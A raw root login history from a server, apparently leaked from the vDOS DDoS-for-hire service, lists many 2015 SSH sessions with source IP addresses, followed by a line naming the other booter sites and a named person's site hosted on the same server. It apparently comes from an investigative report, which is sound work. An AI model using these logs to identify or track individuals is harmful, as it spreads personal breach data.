root     pts/5        109.64.103.73    Sun Aug 23 14:26:37 2015 - Sun Aug 23 16:12:43 2015  (01:46)
root     pts/16       109.64.103.73    Sun Aug 23 12:47:47 2015 - Sun Aug 23 12:51:44 2015  (00:03)
root     pts/4        109.64.177.139   Sat Aug 22 23:53:12 2015 - Sun Aug 23 01:34:01 2015  (01:40)
root     pts/4        109.64.54.158    Sat Aug 22 22:31:02 2015 - Sat Aug 22 23:49:44 2015  (01:18)
root     pts/3        109.64.54.158    Sat Aug 22 18:42:36 2015 - Sat Aug 22 19:39:27 2015  (00:56)
root     pts/9        109.64.190.211   Sat Aug 22 14:30:51 2015 - Sat Aug 22 18:26:28 2015  (03:55)
root     pts/18       109.64.109.98    Fri Aug 21 19:05:58 2015 - Fri Aug 21 23:12:34 2015  (04:06)
root     pts/14       109.64.109.98    Fri Aug 21 17:11:54 2015 - Fri Aug 21 17:12:01 2015  (00:00)
root     pts/15       109.64.103.249   Thu Aug 20 12:22:09 2015 - Thu Aug 20 19:33:36 2015  (07:11)
root     pts/4        109.64.2.236     Thu Aug 20 04:13:39 2015 - Thu Aug 20 04:13:47 2015  (00:00)
root     pts/13       109.64.2.236     Wed Aug 19 19:58:15 2015 - Wed Aug 19 23:49:10 2015  (03:50)
root     pts/9        109.64.2.236     Wed Aug 19 16:50:06 2015 - Wed Aug 19 18:40:28 2015  (01:50)
root     pts/9        109.64.2.236     Wed Aug 19 13:56:42 2015 - Wed Aug 19 14:56:48 2015  (01:00)
root     pts/7        37.142.138.47    Tue Aug 18 12:23:05 2015 - Tue Aug 18 12:43:04 2015  (00:19)
root     pts/7        37.142.138.47    Mon Aug 17 23:03:23 2015 - Tue Aug 18 02:14:46 2015  (03:11)
root     pts/6        37.142.138.47    Mon Aug 17 20:09:58 2015 - Mon Aug 17 21:22:19 2015  (01:12)
root     pts/9        109.65.150.114   Mon Aug 17 19:47:01 2015 - Mon Aug 17 20:16:03 2015  (00:29)
root     pts/4        109.65.150.114   Mon Aug 17 19:34:38 2015 - Mon Aug 17 19:40:54 2015  (00:06)
root     pts/5        37.142.138.47    Sun Aug 16 21:37:00 2015 - Mon Aug 17 00:17:25 2015  (02:40)
root     pts/10       37.142.138.47    Sun Aug 16 19:17:26 2015 - Sun Aug 16 21:36:55 2015  (02:19)
root     pts/10       109.65.159.2     Sun Aug 16 15:51:08 2015 - Sun Aug 16 16:21:38 2015  (00:30)
root     pts/4        37.142.138.47    Sun Aug 16 05:36:55 2015 - Sun Aug 16 06:06:08 2015  (00:29)
root     pts/4        37.142.138.47    Sun Aug 16 04:18:23 2015 - Sun Aug 16 05:36:52 2015  (01:18)
root     pts/3        37.142.138.47    Sun Aug 16 03:08:01 2015 - Sun Aug 16 03:35:37 2015  (00:27)
root     pts/3        37.142.138.47    Sun Aug 16 01:07:06 2015 - Sun Aug 16 01:07:17 2015  (00:00)
root     pts/9        37.142.138.47    Sat Aug 15 23:50:58 2015 - Sat Aug 15 23:51:03 2015  (00:00)
root     pts/9        37.142.138.47    Sat Aug 15 23:41:55 2015 - Sat Aug 15 23:43:15 2015  (00:01)
root     pts/3        37.142.138.47    Sat Aug 15 23:05:40 2015 - Sat Aug 15 23:07:01 2015  (00:01)
root     pts/10       37.142.138.47    Sat Aug 15 22:34:11 2015 - Sat Aug 15 22:34:29 2015  (00:00)
root     pts/6        79.180.118.138   Sat Aug 15 21:23:00 2015 - Sat Aug 15 21:43:22 2015  (00:20)
root     pts/6        79.180.98.145    Sat Aug 15 21:17:10 2015 - Sat Aug 15 21:22:17 2015  (00:05)
root     pts/7        79.180.224.64    Sat Aug 15 21:05:19 2015 - Sat Aug 15 21:28:02 2015  (00:22)
root     pts/5        79.178.186.77    Fri Aug 14 16:56:26 2015 - Fri Aug 14 17:35:29 2015  (00:39)
root     pts/14       79.178.99.138    Fri Aug 14 15:51:12 2015 - Fri Aug 14 16:20:52 2015  (00:29)
root     pts/9        79.178.99.138    Thu Aug 13 18:33:36 2015 - Thu Aug 13 22:33:25 2015  (03:59)
root     pts/6        79.178.99.138    Thu Aug 13 18:03:23 2015 - Thu Aug 13 20:18:10 2015  (02:14)
root     pts/9        79.178.99.138    Thu Aug 13 15:41:57 2015 - Thu Aug 13 17:05:06 2015  (01:23)
root     pts/11       79.178.99.138    Thu Aug 13 11:30:13 2015 - Thu Aug 13 14:56:57 2015  (03:26)
root     pts/9        79.178.99.138    Thu Aug 13 01:43:04 2015 - Thu Aug 13 04:15:35 2015  (02:32)
root     pts/9        79.178.99.138    Wed Aug 12 21:30:11 2015 - Wed Aug 12 22:25:02 2015  (00:54)
root     pts/3        79.178.99.138    Wed Aug 12 17:32:26 2015 - Wed Aug 12 18:33:42 2015  (01:01)
root     pts/14       79.178.99.138    Wed Aug 12 14:40:03 2015 - Wed Aug 12 15:16:12 2015  (00:36)
root     pts/5        79.178.99.138    Tue Aug 11 21:27:32 2015 - Wed Aug 12 09:09:22 2015  (11:41)
root     pts/10       79.178.99.138    Tue Aug 11 20:42:02 2015 - Tue Aug 11 20:52:27 2015  (00:10)
root     pts/3        79.178.99.138    Tue Aug 11 10:09:13 2015 - Tue Aug 11 20:09:30 2015  (10:00)
root     pts/5        79.178.99.138    Tue Aug 11 07:17:16 2015 - Tue Aug 11 08:42:15 2015  (01:24)
root     pts/11       79.178.99.138    Mon Aug 10 17:45:58 2015 - Mon Aug 10 21:12:10 2015  (03:26)
root     pts/3        79.178.99.138    Mon Aug 10 16:30:35 2015 - Mon Aug 10 16:32:21 2015  (00:01)
root     pts/5        79.178.99.138    Mon Aug 10 11:53:22 2015 - Mon Aug 10 15:37:21 2015  (03:43)
root     pts/10       79.182.119.123   Mon Aug 10 00:29:52 2015 - Mon Aug 10 01:39:58 2015  (01:10)
root     pts/9        79.182.119.123   Sun Aug  9 07:18:04 2015 - Sun Aug  9 08:00:30 2015  (00:42)
root     pts/4        79.182.119.123   Sun Aug  9 01:55:21 2015 - Sun Aug  9 04:01:47 2015  (02:06)
root     pts/6        79.176.63.1      Sat Aug  8 19:30:39 2015 - Sat Aug  8 21:49:18 2015  (02:18)
root     pts/4        79.176.63.1      Sat Aug  8 02:38:48 2015 - Sat Aug  8 03:48:23 2015  (01:09)
root     pts/7        79.176.63.1      Sat Aug  8 02:36:06 2015 - Sat Aug  8 02:38:44 2015  (00:02)
root     pts/7        79.176.199.130   Fri Aug  7 10:53:57 2015 - Fri Aug  7 11:54:34 2015  (01:00)
root     pts/4        79.176.199.130   Thu Aug  6 19:08:09 2015 - Thu Aug  6 20:22:27 2015  (01:14)
root     pts/9        79.176.199.130   Thu Aug  6 05:52:34 2015 - Thu Aug  6 10:23:45 2015  (04:31)
root     pts/5        79.176.199.130   Thu Aug  6 00:20:27 2015 - Thu Aug  6 05:17:48 2015  (04:57)
root     pts/10       79.176.199.130   Wed Aug  5 09:11:13 2015 - Wed Aug  5 10:11:41 2015  (01:00)
root     pts/6        79.176.199.130   Wed Aug  5 05:08:26 2015 - Wed Aug  5 08:17:22 2015  (03:08)
root     pts/5        79.176.199.130   Wed Aug  5 03:02:24 2015 - Wed Aug  5 03:56:03 2015  (00:53)
root     pts/6        79.176.199.130   Tue Aug  4 06:24:42 2015 - Tue Aug  4 21:48:50 2015  (15:24)
root     pts/5        79.176.199.130   Mon Aug  3 15:51:06 2015 - Mon Aug  3 16:03:58 2015  (00:12)
root     pts/10       109.65.59.50     Mon Aug  3 08:50:38 2015 - Mon Aug  3 13:50:56 2015  (05:00)
root     pts/3        109.65.59.50     Sun Aug  2 18:33:13 2015 - Mon Aug  3 02:08:33 2015  (07:35)
root     pts/7        109.65.59.50     Sun Aug  2 11:32:37 2015 - Sun Aug  2 11:32:37 2015  (00:00)
root     pts/6        109.65.59.50     Sun Aug  2 08:39:26 2015 - Sun Aug  2 12:05:12 2015  (03:25)
root     pts/2        109.65.59.50     Sun Aug  2 06:53:44 2015 - Sun Aug  2 08:12:01 2015  (01:18)
root     pts/2        109.65.59.50     Sun Aug  2 06:53:18 2015 - Sun Aug  2 06:53:37 2015  (00:00)
root     pts/2        109.65.59.50     Sun Aug  2 06:51:25 2015 - Sun Aug  2 06:53:11 2015  (00:01)
root     pts/9        109.65.59.50     Sun Aug  2 05:13:40 2015 - Sun Aug  2 06:26:10 2015  (01:12)
root     pts/2        109.65.16.216    Sat Aug  1 21:46:44 2015 - Sun Aug  2 01:55:33 2015  (04:08)
root     pts/6        109.65.16.216    Sat Aug  1 04:49:36 2015 - Sat Aug  1 09:51:50 2015  (05:02)
root     pts/7        79.177.80.1      Fri Jul 31 02:46:50 2015 - Fri Jul 31 09:20:55 2015  (06:34)
root     pts/5        79.177.80.1      Thu Jul 30 23:18:23 2015 - Fri Jul 31 02:40:12 2015  (03:21)
root     pts/9        79.177.80.1      Thu Jul 30 13:45:16 2015 - Thu Jul 30 19:02:10 2015  (05:16)
root     pts/3        79.177.80.1      Thu Jul 30 00:11:00 2015 - Thu Jul 30 00:15:14 2015  (00:04)
root     pts/14       79.177.80.1      Wed Jul 29 17:41:46 2015 - Wed Jul 29 21:20:21 2015  (03:38)
root     pts/11       79.177.160.76    Wed Jul 29 06:09:08 2015 - Wed Jul 29 08:25:03 2015  (02:15)
root     pts/4        109.64.134.229   Wed Jul 29 00:35:34 2015 - Wed Jul 29 02:20:03 2015  (01:44)
root     pts/11       109.64.134.229   Tue Jul 28 00:22:58 2015 - Tue Jul 28 11:52:34 2015  (11:29)
root     pts/4        109.64.134.229   Mon Jul 27 07:43:36 2015 - Mon Jul 27 09:41:07 2015  (01:57)
root     pts/5        109.64.134.229   Mon Jul 27 06:50:53 2015 - Mon Jul 27 09:06:56 2015  (02:16)
root     pts/5        109.64.134.229   Mon Jul 27 00:11:21 2015 - Mon Jul 27 03:26:59 2015  (03:15)
root     pts/7        109.64.134.229   Sun Jul 26 23:36:36 2015 - Sun Jul 26 23:57:54 2015  (00:21)
root     pts/4        109.64.134.229   Sun Jul 26 20:41:18 2015 - Sun Jul 26 21:58:25 2015  (01:17)
root     pts/4        109.64.101.110   Sun Jul 26 06:27:58 2015 - Sun Jul 26 06:28:20 2015  (00:00)
root     pts/4        109.64.101.110   Sun Jul 26 06:13:50 2015 - Sun Jul 26 06:27:55 2015  (00:14)
root     pts/2        109.64.101.110   Sun Jul 26 00:54:34 2015 - Sun Jul 26 04:54:55 2015  (04:00)
root     pts/4        109.64.14.89     Sat Jul 25 21:03:56 2015 - Sun Jul 26 00:54:31 2015  (03:50)
root     pts/9        109.64.14.89     Sat Jul 25 06:59:40 2015 - Sat Jul 25 08:46:27 2015  (01:46)
root     pts/3        109.64.14.89     Sat Jul 25 02:16:04 2015 - Sat Jul 25 05:16:17 2015  (03:00)
root     pts/5        109.64.3.45      Fri Jul 24 23:49:27 2015 - Sat Jul 25 00:49:45 2015  (01:00)
root     pts/5        109.64.3.45      Fri Jul 24 08:49:38 2015 - Fri Jul 24 08:51:47 2015  (00:02)
root     pts/3        109.64.3.45      Fri Jul 24 07:56:57 2015 - Fri Jul 24 10:36:00 2015  (02:39)
root     pts/2        109.64.3.45      Fri Jul 24 01:43:51 2015 - Fri Jul 24 06:10:16 2015  (04:26)
root     pts/2        109.64.3.45      Thu Jul 23 20:50:08 2015 - Fri Jul 24 00:13:09 2015  (03:23)
root     pts/4        109.64.3.45      Thu Jul 23 09:53:43 2015 - Thu Jul 23 12:05:35 2015  (02:11)
root     pts/2        109.64.3.45      Thu Jul 23 05:25:40 2015 - Thu Jul 23 08:22:33 2015  (02:56)
root     pts/3        84.228.29.143    Thu Jul 23 00:01:46 2015 - Thu Jul 23 06:45:15 2015  (06:43)
root     pts/9        84.228.29.143    Wed Jul 22 23:59:36 2015 - Thu Jul 23 00:01:33 2015  (00:01)
root     pts/7        84.228.29.143    Wed Jul 22 23:55:27 2015 - Thu Jul 23 00:01:29 2015  (00:06)
root     pts/6        109.64.3.45      Wed Jul 22 22:22:30 2015 - Thu Jul 23 05:25:37 2015  (07:03)
root     pts/5        109.64.3.45      Wed Jul 22 20:58:58 2015 - Wed Jul 22 21:59:19 2015  (01:00)
root     pts/3        109.64.3.45      Wed Jul 22 18:42:34 2015 - Wed Jul 22 20:15:30 2015  (01:32)
root     pts/2        109.64.3.45      Wed Jul 22 05:07:18 2015 - Wed Jul 22 08:07:43 2015  (03:00)
root     pts/3        109.64.3.45      Wed Jul 22 00:31:00 2015 - Wed Jul 22 01:23:30 2015  (00:52)
root     pts/7        109.64.3.45      Tue Jul 21 23:28:58 2015 - Wed Jul 22 00:28:50 2015  (00:59)
root     pts/4        109.64.200.100   Tue Jul 21 20:47:46 2015 - Tue Jul 21 22:56:16 2015  (02:08)
root     pts/3        109.64.200.100   Tue Jul 21 11:48:40 2015 - Tue Jul 21 12:48:51 2015  (01:00)
root     pts/7        79.177.2.239     Mon Jul 20 04:26:59 2015 - Mon Jul 20 04:28:05 2015  (00:01)
root     pts/5        84.228.99.190    Mon Jul 20 00:34:41 2015 - Mon Jul 20 00:35:30 2015  (00:00)
root     pts/4        79.177.2.239     Sun Jul 19 15:17:41 2015 - Sun Jul 19 16:22:43 2015  (01:05)
root     pts/2        79.177.2.239     Sun Jul 19 06:14:19 2015 - Sun Jul 19 06:46:32 2015  (00:32)
root     pts/5        79.177.2.239     Sun Jul 19 04:38:41 2015 - Sun Jul 19 05:25:40 2015  (00:46)
root     pts/7        79.177.2.239     Sun Jul 19 04:30:03 2015 - Sun Jul 19 04:30:32 2015  (00:00)
root     pts/2        79.177.2.239     Sun Jul 19 03:38:53 2015 - Sun Jul 19 03:40:05 2015  (00:01)
root     pts/2        79.177.2.239     Sun Jul 19 03:36:05 2015 - Sun Jul 19 03:37:36 2015  (00:01)
root     pts/2        79.177.2.239     Sun Jul 19 02:35:48 2015 - Sun Jul 19 03:36:02 2015  (01:00)
root     pts/4        79.177.2.239     Sat Jul 18 23:06:26 2015 - Sun Jul 19 01:07:23 2015  (02:00)
root     pts/5        79.177.2.239     Fri Jul 17 21:16:11 2015 - Fri Jul 17 22:03:01 2015  (00:46)
root     pts/7        79.177.122.226   Fri Jul 17 18:34:56 2015 - Fri Jul 17 18:36:15 2015  (00:01)
root     pts/6        79.177.122.226   Fri Jul 17 06:20:19 2015 - Fri Jul 17 06:41:49 2015  (00:21)
root     pts/3        79.177.56.133    Fri Jul 17 02:34:27 2015 - Fri Jul 17 04:33:46 2015  (01:59)
root     pts/4        79.177.56.133    Thu Jul 16 21:25:01 2015 - Fri Jul 17 03:11:16 2015  (05:46)
root     pts/3        79.177.56.133    Thu Jul 16 16:39:15 2015 - Thu Jul 16 18:43:02 2015  (02:03)
root     pts/4        79.177.109.215   Thu Jul 16 02:35:49 2015 - Thu Jul 16 04:54:37 2015  (02:18)
root     pts/7        79.177.146.60    Wed Jul 15 20:47:58 2015 - Wed Jul 15 22:24:35 2015  (01:36)
root     pts/4        79.177.146.60    Wed Jul 15 18:55:38 2015 - Wed Jul 15 19:42:19 2015  (00:46)
root     pts/3        79.177.35.49     Wed Jul 15 02:33:31 2015 - Wed Jul 15 07:20:03 2015  (04:46)
root     pts/3        79.177.35.49     Tue Jul 14 23:16:57 2015 - Wed Jul 15 02:33:11 2015  (03:16)
root     pts/12       79.177.35.49     Tue Jul 14 21:59:28 2015 - Tue Jul 14 22:01:07 2015  (00:01)
root     pts/7        79.177.154.37    Tue Jul 14 18:08:12 2015 - Tue Jul 14 19:30:23 2015  (01:22)
root     pts/7        79.177.154.37    Tue Jul 14 16:02:29 2015 - Tue Jul 14 18:04:57 2015  (02:02)
root     pts/9        79.177.154.37    Tue Jul 14 13:02:47 2015 - Tue Jul 14 13:38:46 2015  (00:35)
root     pts/2        79.177.154.37    Tue Jul 14 04:44:30 2015 - Tue Jul 14 05:04:36 2015  (00:20)
root     pts/3        79.177.43.224    Tue Jul 14 03:05:25 2015 - Tue Jul 14 03:08:52 2015  (00:03)
root     pts/2        79.177.43.224    Tue Jul 14 02:02:13 2015 - Tue Jul 14 02:03:13 2015  (00:01)
root     pts/6        79.177.43.224    Tue Jul 14 01:26:17 2015 - Tue Jul 14 01:33:28 2015  (00:07)
root     pts/4        79.177.21.139    Mon Jul 13 16:31:59 2015 - Mon Jul 13 18:07:42 2015  (01:35)
root     pts/12       79.177.21.139    Mon Jul 13 15:54:25 2015 - Mon Jul 13 15:55:24 2015  (00:00)
root     pts/2        79.177.21.139    Mon Jul 13 12:47:28 2015 - Mon Jul 13 14:09:06 2015  (01:21)
root     pts/6        79.177.21.139    Mon Jul 13 00:05:28 2015 - Mon Jul 13 04:09:31 2015  (04:04)
root     pts/5        79.177.21.139    Sun Jul 12 21:30:03 2015 - Sun Jul 12 21:30:09 2015  (00:00)
root     pts/11       79.177.126.188   Sun Jul 12 17:07:09 2015 - Sun Jul 12 17:35:29 2015  (00:28)
root     pts/6        79.177.126.188   Sat Jul 11 23:12:55 2015 - Sun Jul 12 02:24:06 2015  (03:11)
root     pts/2        79.177.17.95     Sat Jul 11 22:20:34 2015 - Sat Jul 11 22:59:57 2015  (00:39)
root     pts/3        79.177.17.95     Sat Jul 11 03:42:06 2015 - Sat Jul 11 06:38:26 2015  (02:56)
root     pts/4        79.180.150.157   Fri Jul 10 22:52:13 2015 - Sat Jul 11 02:27:56 2015  (03:35)
root     pts/3        79.180.150.157   Fri Jul 10 16:05:20 2015 - Fri Jul 10 20:52:26 2015  (04:47)
root     pts/2        79.180.150.157   Fri Jul 10 07:09:26 2015 - Fri Jul 10 07:45:24 2015  (00:35)
root     pts/7        79.180.150.157   Fri Jul 10 05:45:51 2015 - Fri Jul 10 07:09:22 2015  (01:23)
root     pts/2        79.178.144.251   Fri Jul 10 00:22:16 2015 - Fri Jul 10 02:57:43 2015  (02:35)
root     pts/13       79.178.144.251   Thu Jul  9 19:04:58 2015 - Thu Jul  9 20:11:11 2015  (01:06)
root     pts/2        79.178.178.119   Thu Jul  9 16:29:32 2015 - Thu Jul  9 18:59:26 2015  (02:29)
root     pts/3        79.178.2.56      Wed Jul  8 10:32:05 2015 - Wed Jul  8 13:14:00 2015  (02:41)
root     pts/3        79.178.2.56      Wed Jul  8 01:23:12 2015 - Wed Jul  8 02:01:09 2015  (00:37)
root     pts/3        79.178.2.56      Wed Jul  8 01:21:48 2015 - Wed Jul  8 01:23:08 2015  (00:01)
root     pts/2        79.176.205.223   Tue Jul  7 21:16:31 2015 - Tue Jul  7 23:23:46 2015  (02:07)
root     pts/6        79.176.205.223   Tue Jul  7 16:42:42 2015 - Tue Jul  7 21:16:09 2015  (04:33)
root     pts/2        79.176.205.223   Tue Jul  7 14:56:01 2015 - Tue Jul  7 15:34:51 2015  (00:38)
root     pts/2        79.176.101.191   Tue Jul  7 02:22:33 2015 - Tue Jul  7 03:22:41 2015  (01:00)
root     pts/5        79.176.101.191   Mon Jul  6 23:26:42 2015 - Tue Jul  7 02:13:13 2015  (02:46)
root     pts/9        79.176.113.251   Mon Jul  6 19:53:08 2015 - Mon Jul  6 22:57:50 2015  (03:04)
root     pts/4        84.228.50.47     Mon Jul  6 17:28:56 2015 - Tue Jul  7 10:28:15 2015  (16:59)
root     pts/4        79.176.81.189    Mon Jul  6 02:31:52 2015 - Mon Jul  6 03:54:00 2015  (01:22)
root     pts/5        79.176.81.189    Sun Jul  5 21:39:09 2015 - Mon Jul  6 00:26:44 2015  (02:47)
root     pts/5        79.176.81.189    Sun Jul  5 13:39:56 2015 - Sun Jul  5 21:38:20 2015  (07:58)
root     pts/11       79.176.81.189    Sun Jul  5 11:29:36 2015 - Sun Jul  5 12:29:42 2015  (01:00)
root     pts/2        79.176.81.189    Sun Jul  5 04:25:59 2015 - Sun Jul  5 06:45:18 2015  (02:19)
root     pts/4        79.176.152.71    Sat Jul  4 22:28:43 2015 - Sun Jul  5 04:08:21 2015  (05:39)
root     pts/6        79.176.152.71    Sat Jul  4 20:36:15 2015 - Sat Jul  4 21:06:12 2015  (00:29)
root     pts/8        79.176.208.214   Sat Jul  4 18:35:18 2015 - Sat Jul  4 20:08:56 2015  (01:33)
root     pts/4        79.176.26.254    Sat Jul  4 16:00:11 2015 - Sat Jul  4 18:30:54 2015  (02:30)
root     pts/3        79.176.26.254    Sat Jul  4 05:22:01 2015 - Sat Jul  4 07:53:18 2015  (02:31)
root     pts/5        79.176.18.177    Sat Jul  4 02:49:12 2015 - Sat Jul  4 04:17:40 2015  (01:28)
root     pts/2        79.176.18.177    Sat Jul  4 00:55:54 2015 - Sat Jul  4 02:21:05 2015  (01:25)
root     pts/2        79.176.18.177    Fri Jul  3 23:04:53 2015 - Sat Jul  4 00:55:51 2015  (01:50)
root     pts/2        79.176.18.177    Fri Jul  3 21:38:13 2015 - Fri Jul  3 23:04:49 2015  (01:26)
root     pts/12       79.176.18.177    Fri Jul  3 20:59:59 2015 - Fri Jul  3 21:23:11 2015  (00:23)
root     pts/8        79.176.151.236   Fri Jul  3 18:39:40 2015 - Fri Jul  3 20:31:14 2015  (01:51)
root     pts/10       79.176.151.236   Fri Jul  3 14:20:20 2015 - Fri Jul  3 15:23:28 2015  (01:03)
root     pts/4        79.176.151.236   Fri Jul  3 06:46:44 2015 - Fri Jul  3 08:58:45 2015  (02:12)
root     pts/5        79.176.105.189   Fri Jul  3 01:31:59 2015 - Fri Jul  3 01:49:32 2015  (00:17)
root     pts/7        79.176.105.189   Fri Jul  3 00:30:18 2015 - Fri Jul  3 00:53:38 2015  (00:23)
root     pts/11       79.176.105.189   Fri Jul  3 00:18:37 2015 - Fri Jul  3 00:27:32 2015  (00:08)
root     pts/8        79.176.105.189   Thu Jul  2 16:23:07 2015 - Thu Jul  2 18:37:59 2015  (02:14)
root     pts/8        79.176.180.229   Wed Jul  1 23:45:21 2015 - Wed Jul  1 23:49:13 2015  (00:03)
root     pts/6        79.176.80.20     Wed Jul  1 03:53:27 2015 - Wed Jul  1 06:10:26 2015  (02:16)
root     pts/6        79.176.54.144    Tue Jun 30 01:33:27 2015 - Wed Jul  1 03:53:23 2015 (1+02:19)
root     pts/3        79.176.36.153    Mon Jun 29 17:09:03 2015 - Tue Jun 30 01:23:32 2015  (08:14)
root     pts/3        79.176.36.153    Mon Jun 29 04:53:03 2015 - Mon Jun 29 16:31:46 2015  (11:38)
root     pts/3        79.176.150.152   Sun Jun 28 13:08:04 2015 - Mon Jun 29 04:48:30 2015  (15:40)
root     pts/3        79.176.150.152   Sun Jun 28 05:30:30 2015 - Sun Jun 28 12:27:22 2015  (06:56)
root     pts/9        79.176.150.152   Sun Jun 28 02:59:36 2015 - Sun Jun 28 05:30:25 2015  (02:30)
root     pts/4        79.176.28.145    Sat Jun 27 22:41:24 2015 - Sun Jun 28 03:09:41 2015  (04:28)
root     pts/7        79.176.28.145    Sat Jun 27 05:41:17 2015 - Sat Jun 27 22:41:20 2015  (17:00)
root     pts/5        79.176.130.103   Fri Jun 26 21:57:07 2015 - Sat Jun 27 05:17:03 2015  (07:19)
root     pts/3        79.176.158.20    Fri Jun 26 14:49:49 2015 - Fri Jun 26 21:33:15 2015  (06:43)
root     pts/4        79.176.52.125    Thu Jun 25 21:49:57 2015 - Fri Jun 26 13:02:28 2015  (15:12)
root     pts/6        79.176.205.59    Wed Jun 24 21:22:24 2015 - Thu Jun 25 16:30:16 2015  (19:07)
root     pts/6        79.176.205.59    Wed Jun 24 14:01:52 2015 - Wed Jun 24 19:14:31 2015  (05:12)
root     pts/8        79.176.8.166     Wed Jun 24 10:32:36 2015 - Wed Jun 24 14:26:19 2015  (03:53)
root     pts/0        79.176.182.50    Tue Jun 23 20:47:51 2015 - Wed Jun 24 10:32:30 2015  (13:44)
root     pts/0        79.176.190.252   Tue Jun 23 20:19:05 2015 - Tue Jun 23 20:47:27 2015  (00:28)
root     pts/0        79.176.190.252   Mon Jun 22 20:39:32 2015 - Tue Jun 23 20:18:59 2015  (23:39)
root     pts/11       79.176.81.174    Sun Jun 21 17:21:22 2015 - Mon Jun 22 17:39:20 2015 (1+00:17)
root     pts/4        79.176.184.168   Sat Jun 20 17:31:31 2015 - Sun Jun 21 16:33:46 2015  (23:02)
root     pts/3        79.176.184.168   Sat Jun 20 17:00:44 2015 - Sat Jun 20 17:02:11 2015  (00:01)
root     pts/0        79.176.184.168   Fri Jun 19 20:18:31 2015 - Sat Jun 20 16:25:36 2015  (20:07)
root     pts/10       84.228.164.1     Fri Jun 19 18:13:15 2015 - Fri Jun 19 21:22:40 2015  (03:09)
root     pts/0        79.176.184.168   Thu Jun 18 21:46:46 2015 - Fri Jun 19 20:18:27 2015  (22:31)
root     pts/1        79.176.178.201   Thu Jun 18 19:21:07 2015 - Thu Jun 18 19:26:03 2015  (00:04)
root     pts/0        37.142.138.47    Thu Jun 18 18:50:21 2015 - Thu Jun 18 19:32:06 2015  (00:41)
root     pts/4        37.142.138.47    Wed Jun 17 11:00:28 2015 - Thu Jun 18 18:50:17 2015 (1+07:49)
root     pts/3        37.142.138.47    Mon Jun 15 20:58:07 2015 - Tue Jun 16 22:27:38 2015 (1+01:29)
root     pts/15       79.176.148.115   Mon Jun 15 10:25:53 2015 - Mon Jun 15 10:28:15 2015  (00:02)
root     pts/4        37.142.208.88    Mon Jun 15 01:03:37 2015 - Mon Jun 15 08:22:33 2015  (07:18)
root     pts/4        37.142.208.88    Sun Jun 14 08:54:55 2015 - Sun Jun 14 23:38:35 2015  (14:43)
root     pts/2        37.142.208.88    Fri Jun 12 23:35:14 2015 - Sun Jun 14 09:49:34 2015 (1+10:14)
root     pts/17       37.142.208.88    Fri Jun 12 13:49:25 2015 - Fri Jun 12 23:47:38 2015  (09:58)
root     pts/10       2.52.134.217     Fri Jun 12 13:09:51 2015 - Fri Jun 12 13:40:49 2015  (00:30)
root     pts/4        37.142.208.88    Fri Jun 12 02:10:53 2015 - Fri Jun 12 12:31:37 2015  (10:20)
root     pts/6        2.52.160.133     Thu Jun 11 23:34:05 2015 - Fri Jun 12 00:28:21 2015  (00:54)
root     pts/2        37.142.208.88    Thu Jun 11 22:59:26 2015 - Thu Jun 11 23:28:59 2015  (00:29)
root     pts/3        37.142.208.88    Thu Jun 11 02:25:57 2015 - Thu Jun 11 02:27:01 2015  (00:01)
root     pts/3        37.142.208.88    Wed Jun 10 19:45:19 2015 - Thu Jun 11 02:09:50 2015  (06:24)
root     pts/8        79.178.9.156     Tue Jun  9 17:02:59 2015 - Wed Jun 10 11:03:40 2015  (18:00)
root     pts/12       46.121.253.222   Tue Jun  9 15:26:33 2015 - Tue Jun  9 21:14:24 2015  (05:47)
root     pts/7        79.178.100.93    Tue Jun  9 14:01:22 2015 - Tue Jun  9 16:22:50 2015  (02:21)
root     pts/3        109.65.52.187    Tue Jun  9 13:00:56 2015 - Tue Jun  9 13:20:56 2015  (00:20)
root     pts/6        109.65.52.187    Tue Jun  9 11:20:24 2015 - Tue Jun  9 13:00:34 2015  (01:40)
root     pts/6        109.65.52.187    Tue Jun  9 04:29:12 2015 - Tue Jun  9 11:20:20 2015  (06:51)
root     pts/8        109.65.52.187    Tue Jun  9 01:19:19 2015 - Tue Jun  9 04:28:00 2015  (03:08)
root     pts/1        46.121.253.222   Sat Jun  6 22:53:50 2015 - Sun Jun  7 03:22:27 2015  (04:28)
root     pts/6        46.121.253.222   Sat Jun  6 22:52:54 2015 - Sat Jun  6 22:53:37 2015  (00:00)
root     pts/5        109.64.130.230   Sat Jun  6 12:33:14 2015 - Tue Jun  9 00:36:34 2015 (2+12:03)
root     pts/13       109.64.139.104   Fri Jun  5 19:07:23 2015 - Sat Jun  6 13:36:13 2015  (18:28)
root     pts/1        79.178.129.125   Thu Jun  4 23:38:51 2015 - Fri Jun  5 18:46:05 2015  (19:07)
root     pts/6        109.64.168.233   Thu Jun  4 13:16:35 2015 - Thu Jun  4 23:45:00 2015  (10:28)
root     pts/6        79.180.154.119   Thu Jun  4 11:10:01 2015 - Thu Jun  4 11:30:48 2015  (00:20)
root     pts/11       79.180.154.119   Thu Jun  4 09:13:28 2015 - Thu Jun  4 09:58:47 2015  (00:45)
root     pts/2        109.64.181.80    Wed Jun  3 19:29:55 2015 - Thu Jun  4 12:48:13 2015  (17:18)
root     pts/8        79.176.212.111   Wed Jun  3 08:32:14 2015 - Wed Jun  3 19:40:54 2015  (11:08)
root     pts/2        79.181.125.167   Wed Jun  3 01:49:21 2015 - Wed Jun  3 02:08:37 2015  (00:19)
root     pts/4        79.181.125.167   Wed Jun  3 01:27:07 2015 - Wed Jun  3 03:02:30 2015  (01:35)
root     pts/0        79.176.54.28     Tue Jun  2 23:58:23 2015 - Wed Jun  3 01:00:47 2015  (01:02)
root     pts/6        37.142.208.88    Tue Jun  2 19:56:02 2015 - Tue Jun  2 23:10:23 2015  (03:14)
root     pts/0        79.181.18.166    Tue Jun  2 00:53:29 2015 - Tue Jun  2 01:33:33 2015  (00:40)
root     pts/0        79.181.18.166    Tue Jun  2 00:52:41 2015 - Tue Jun  2 00:53:21 2015  (00:00)
root     pts/0        79.179.140.131   Fri May 29 17:23:39 2015 - Fri May 29 18:31:05 2015  (01:07)
root     pts/0        79.178.28.190    Thu May 28 19:30:59 2015 - Thu May 28 19:58:24 2015  (00:27)
reboot   system boot  0.0.0.0          Thu May 28 16:52:37 2015 - Tue Jun 28 23:09:41 2016 (397+06:17)
root     pts/0        154.43.167.78    Thu May 28 16:44:33 2015 - down                      (00:06)
root     tty1         0.0.0.0          Sun May 17 02:29:52 2015 - down                     (11+14:21)
reboot   system boot  0.0.0.0          Sun May 17 02:28:02 2015 - Thu May 28 16:51:27 2015 (11+14:23)

wtmp begins Sun May 17 02:28:02 2015

 

 

 

 

 

 

Inside the vDOS web server

The http://www.vdos-s.com web server also hosted api.vdos-s.com, three other booters, Itay Huri’s personal site, and something called trigon.io.

